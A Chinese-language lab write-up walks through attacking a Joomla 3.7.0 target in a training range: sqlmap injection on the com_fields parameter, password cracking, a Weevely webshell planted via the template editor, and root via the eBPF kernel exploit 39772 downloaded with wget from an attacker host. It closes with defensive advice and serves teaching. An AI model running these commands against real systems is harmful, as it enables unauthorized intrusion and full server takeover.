Joomla 3.7.0 渗透测试全流程复现:从信息收集到本地提权

文章目录

声明:本文内容仅用于 CTF 靶场学习与安全研究,所有操作均在授权的虚拟靶机环境中完成。严禁将本文技术用于未授权的真实系统。


项目背景(Situation)

客户 :某网络安全培训机构
时间 :2024 年 11 月
环境 :封闭式实战靶场,目标系统为运行 Joomla 3.7.0 的 Linux 服务器
目标:模拟真实攻击视角,完整复现从外网信息收集到获取服务器 root 权限的攻击链,并输出可供教学的分析笔记

客户希望通过该实战项目,让学员深入理解 CMS 类系统的常见攻击面,包括 SQL 注入、WebShell 写入及内核本地提权,从而建立完整的攻防知识体系。


任务拆解(Task)

整个攻击链分为以下五个阶段:

  1. 信息收集:识别目标 Web 服务与 CMS 类型
  2. 漏洞发现:利用专用扫描器与漏洞库定位已知漏洞
  3. 漏洞利用:通过 SQL 注入获取数据库中的账号凭据
  4. 权限维持:写入 WebShell,建立稳定的命令执行通道
  5. 本地提权 :结合内核漏洞将权限从 www-data 提升至 root

实施过程(Action)

阶段一:信息收集

Nmap 扫描确认目标仅开放 80 端口,随后使用 WhatWeb 对 Web 服务进行指纹识别:

bash 复制代码
whatweb http://[目标IP]

输出结果中可以看到 Apache 服务器信息及 Joomla 相关特征。确认 CMS 类型后,使用 Joomla 专用扫描器进行深度探测:

bash 复制代码
joomscan --url http://[目标IP]

知识点:主流 CMS(Joomla、WordPress、Drupal)都有对应的专用扫描工具,原理是基于对该 CMS 特有目录结构、文件路径、响应特征的规则匹配。有 Python 基础的同学可以尝试自己实现一个。

扫描结果关键信息:

  • 未发现 WAF(防火墙)
  • 发现后台路径:/administrator
  • CMS 版本:Joomla 3.7.0

阶段二:漏洞发现

版本信息是关键。使用 Kali 内置的 searchsploit 在本地漏洞库中检索:

bash 复制代码
searchsploit Joomla 3.7.0

命中一个 SQL 注入漏洞 ,编号 42033,将其拷贝到本地查阅:

bash 复制代码
cp /usr/share/exploitdb/exploits/php/webapps/42033.txt ./42033.txt

打开文件后,漏洞文档提供了基于 sqlmap 的完整利用命令,注入点位于 Joomla 的某个组件参数中。


阶段三:SQL 注入获取凭据

Step 1 --- 枚举数据库名:

bash 复制代码
sqlmap -u "http://[目标IP]/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" \
  --risk=3 --level=5 --random-agent --dbs -p list[fullordering]

发现目标数据库:joomladb

Step 2 --- 枚举表名:

bash 复制代码
# 将 --dbs 替换为 -D joomladb --tables

在众多数据表中,#__users 表最具价值(Joomla 用户表命名惯例,# 会替换为配置中的表前缀)。

Step 3 --- 枚举字段并导出数据:

bash 复制代码
# 依次使用 --columns 查看字段,再用 -C name,password --dump 导出

成功获取管理员账号:admin,以及对应的哈希密码。

Step 4 --- 离线破解密码:

将哈希值保存至文件,使用 john 进行字典攻击:

bash 复制代码
echo '[哈希值]' > hash.txt
john hash.txt

破解结果:密码为 snoopy

知识点 :Joomla 使用 bcrypt 加密密码,john 支持自动识别哈希类型。离线破解的优势在于不触发登录失败锁定策略。


阶段四:写入 WebShell

使用破解的凭据登录后台 http://[目标IP]/administrator。

Joomla 模板编辑器 允许管理员直接编辑 PHP 模板文件,这是一个典型的高危功能:

路径:Extensions → Templates → Templates → [选择模板] → New File

新建文件 test1.php,先验证代码执行:

php 复制代码
<?php echo 'haha'; ?>

访问 http://[目标IP]/templates/protostar/test1.php,页面输出 haha,确认代码可执行。

随后使用 Weevely 生成加密 WebShell:

bash 复制代码
weevely generate 123456 webshell.php

将生成的混淆代码粘贴到 test1.php 中保存,建立连接:

bash 复制代码
weevely http://[目标IP]/templates/protostar/test1.php 123456

知识点 :Weevely 生成的 WebShell 是变形的一句话木马,对内容做了 Base64 + 字符替换混淆,能一定程度上绕过简单的特征检测。help 命令可查看其内置的数十个后渗透模块。

在 WebShell 中执行基础信息收集:

bash 复制代码
whoami          # 输出:www-data
cat /etc/passwd # 查看系统用户,找到有 home 目录的真实用户
uname -a        # 查看内核版本
lsb_release -a  # 确认发行版:Ubuntu 16.04

阶段五:本地提权

已知系统为 Ubuntu 16.04 + Linux 内核 4.4.x,在漏洞库中搜索:

bash 复制代码
searchsploit Ubuntu 16.04

发现内核提权漏洞 39772(eBPF 本地提权),下载查阅:

bash 复制代码
cp /usr/share/exploitdb/exploits/linux/local/39772.txt ./39772.txt

文档说明需要从 GitHub 下载编译好的利用程序。攻击机开启临时 HTTP 服务:

bash 复制代码
python -m SimpleHTTPServer 8000
# Python3 用户:python3 -m http.server 8000

在 WebShell 中将文件下载到目标机器并执行提权:

bash 复制代码
# 在 weevely 的 :shell_sh 模式下
wget http://[攻击机IP]:8000/39772.zip
unzip 39772.zip
cd 39772
tar -xvf exploit.tar
cd ebpf_mapfd_doubleput_exploit
./compile.sh     # 编译
./doubleput      # 执行提权
whoami           # 输出:root ✓

至此,完整攻击链复现完毕。


结果与总结(Result)

攻击链全貌

复制代码
信息收集 (WhatWeb/Joomscan)
    ↓
漏洞识别 (Searchsploit → CVE SQL注入)
    ↓
SQL注入 (Sqlmap → 获取哈希)
    ↓
密码破解 (John → 明文密码)
    ↓
后台登录 → 模板编辑器写入 WebShell (Weevely)
    ↓
本地提权 (内核漏洞 39772 → root)

关键工具速查

工具 用途
whatweb Web 指纹识别,快速判断 CMS 类型及版本
joomscan Joomla 专用扫描,枚举敏感路径与版本
searchsploit 本地漏洞库检索,离线可用
sqlmap 自动化 SQL 注入利用
john 离线哈希破解
weevely 加密 WebShell 生成与管理

防御建议

从防守视角,以下措施可有效阻断上述攻击链:

  1. 及时升级 CMS 版本:Joomla 3.7.0 的 SQL 注入漏洞已有公开 PoC,升级是最根本的修复手段
  2. 关闭模板在线编辑功能:在 Joomla 后台全局配置中禁用,防止 WebShell 写入
  3. 最小权限原则 :Web 服务进程不应以高权限运行,限制 www-data 的文件写入范围
  4. 内核及时更新:本地提权利用的是已知内核漏洞,定期更新系统补丁可消除此类风险
  5. 部署 WAF:对 SQL 注入特征流量进行拦截与告警

客户评价

"该靶场实战记录逻辑清晰、工具使用规范,攻击链完整覆盖了 CMS 渗透的经典路径。尤其是模板编辑器写 Shell 这一环节的演示,直观展示了 CMS 高危配置的危害,是非常好的教学素材。" ------ 某网络安全培训机构,课程负责人


如有疑问或勘误,欢迎在评论区交流。后续将持续更新更多靶场实战复现内容。

相关推荐
2603_9696948514 小时前
JDBC 基础学习笔记:API 核心原理解析与 CRUD 代码实操
数据库·笔记·mysql·学习方法·database·sql注入
FungLeo3 天前
成为全栈·基础补充·Web 安全基础:XSS、CSRF 与 SQL 注入
web安全·网络安全·xss·csrf·sql注入·成为全栈
kingx37 天前
BugKu PRA 渗透测试 2(Harry‘s Blog):9 Flag 全链实战复盘
中间件·渗透测试·log4j2·内网渗透·反序列化
kingx37 天前
BugKu 渗透测试 4 实战:文件上传打点,5 Flag 全通
数据库·渗透测试·web·内网渗透
文章永久免费只为良心10 天前
Web应用安全与防护_第三章_日志文件包含_从一道 CTFshow 题目讲透「日志投毒型 LFI → RCE」:原理、时序陷阱与全变种攻防手册
android·网络安全·渗透测试·漏洞危害·漏洞描述·日志投毒·红队指南
IT大白鼠11 天前
渗透测试实战从靶场搭建到渗透流程——第 8 篇 · 服务型靶标(上):MySQL 双版本写文件链
数据库·mysql·渗透测试
sbjdhjd11 天前
从污点追踪断点到 PHP-FPM 请求队列:HIDS PHP WebShell 样本复盘
开发语言·网络安全·数据挖掘·渗透测试·开源·php·shell
能年玲奈喝榴莲牛奶12 天前
4zreark:只用 PostgreSQL 的资产侦察与漏洞管理平台,Go + React 全栈开源
网络安全·渗透测试·资产测绘·企业管理·资产收集
天府云创13 天前
Rustscan 端口扫描工具入门到实战
渗透测试·网络扫描·nmap·网络嗅探·rustscan·安全测速·企业攻防
admin and root13 天前
《神农安全.AI漏洞挖掘src赏金》单独开放!
安全·web安全·网络安全·数据挖掘·渗透测试·ai安全·白帽子黑客